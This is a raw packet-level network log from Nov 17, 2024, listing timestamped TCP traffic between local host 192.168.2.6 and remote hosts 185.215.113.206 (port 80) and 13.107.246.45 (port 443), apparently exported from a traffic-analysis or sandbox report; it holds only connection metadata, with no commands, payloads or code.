Nov 17, 2024 10:07:19.792303085 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792303085 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792304993 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792316914 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792327881 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792340994 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792350054 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792350054 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792351961 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792365074 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792373896 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792376041 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792388916 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792398930 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792412043 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792431116 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792431116 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792448997 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792885065 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792921066 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792932987 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792939901 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792978048 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792982101 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792989969 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793000937 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793014050 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793057919 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793057919 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793171883 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793184042 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793183088 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.793195009 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793205976 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793216944 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793227911 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793240070 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793250084 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793251038 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793256044 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793268919 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793279886 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793283939 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793292046 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793303013 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793306112 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793315887 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793327093 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793329000 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793340921 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793342113 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793386936 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793386936 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793437958 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793451071 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793462038 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793476105 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793484926 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793488026 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793498993 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793499947 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793512106 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793546915 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793546915 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793859005 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793869972 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793881893 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793891907 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793895960 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793904066 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793915987 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793929100 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.793946028 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793972015 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.793972015 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794045925 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794056892 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794068098 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794087887 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794101000 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794109106 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794109106 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794121981 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794135094 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794137001 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794147968 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794161081 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794173002 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794186115 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794192076 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794192076 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794197083 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794204950 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794215918 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794228077 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794229031 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794243097 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794255018 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794266939 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794274092 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794274092 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794280052 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794291019 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794302940 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794316053 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794342041 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794342041 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794378042 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794799089 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794810057 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794822931 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794836044 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794852018 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794863939 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794868946 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794868946 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794876099 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794888020 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794888020 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794895887 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.794926882 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.794926882 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.812517881 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812539101 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812550068 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812597990 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.812597990 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.812619925 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812633038 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812644958 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812658072 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812669992 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.812688112 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.812906981 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812935114 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.812948942 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812962055 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812973976 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812983036 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.812983036 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.812984943 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.812995911 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813009024 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813020945 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813030958 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813040972 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.813040972 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.813043118 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813051939 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813055992 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.813064098 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813076019 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813086987 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813098907 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813112020 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.813117027 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.813117027 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.813139915 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.813179016 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.830710888 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.830725908 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.831089973 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.831096888 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.850583076 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.850688934 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.850758076 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.853029966 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853076935 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853116035 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853125095 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853125095 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853149891 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853178024 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853184938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853218079 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853228092 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853229046 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853269100 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853280067 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853302002 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853321075 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853337049 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853353977 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853369951 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853379011 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853403091 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853440046 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853447914 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853447914 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853472948 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853497028 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853506088 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853538990 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853548050 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853548050 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853573084 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853601933 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853605986 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853635073 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853648901 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.853651047 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.853715897 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.869967937 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.870060921 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.870124102 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.888081074 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.888097048 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.888111115 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.888118029 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.890708923 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.890732050 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.890747070 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.890753031 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.891913891 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.891971111 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.891985893 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892005920 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892029047 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892039061 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892079115 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892079115 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892079115 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892117977 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892123938 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892172098 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892205000 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892211914 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892211914 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892241955 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892270088 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892275095 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892292023 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892318010 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892334938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892378092 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892388105 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892429113 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892430067 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892479897 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892484903 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892513990 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892525911 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892571926 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892573118 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892606020 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892640114 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892652988 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892652988 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892676115 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892687082 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892705917 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892744064 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892744064 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892755032 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892796993 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892829895 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892833948 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892833948 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892863989 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892880917 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892915964 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892951965 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892951965 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.892951965 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.892996073 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893004894 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893038988 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893045902 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893068075 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893104076 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893122911 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893157005 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893163919 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893163919 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893189907 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893208981 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893224001 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893250942 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893276930 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893281937 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893330097 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893358946 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893372059 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893372059 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893390894 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893425941 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893433094 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893433094 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893462896 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893497944 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893501997 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893501997 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893527031 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893549919 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893568039 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893577099 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893632889 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893666029 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893670082 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893670082 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893698931 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893716097 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893732071 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893752098 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893800974 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893830061 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893834114 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893850088 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893867970 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893874884 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893901110 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893915892 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893934965 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893950939 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893964052 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893980026 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.893997908 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.893999100 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894032955 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894068956 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894079924 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894079924 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894104004 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894129038 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894136906 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894150972 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894171000 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894188881 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894212961 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894232035 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894257069 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894264936 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894309998 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894362926 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894364119 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894364119 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894396067 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894418955 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894448996 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894479036 CET	80	49726	185.215.113.206	192.168.2.6
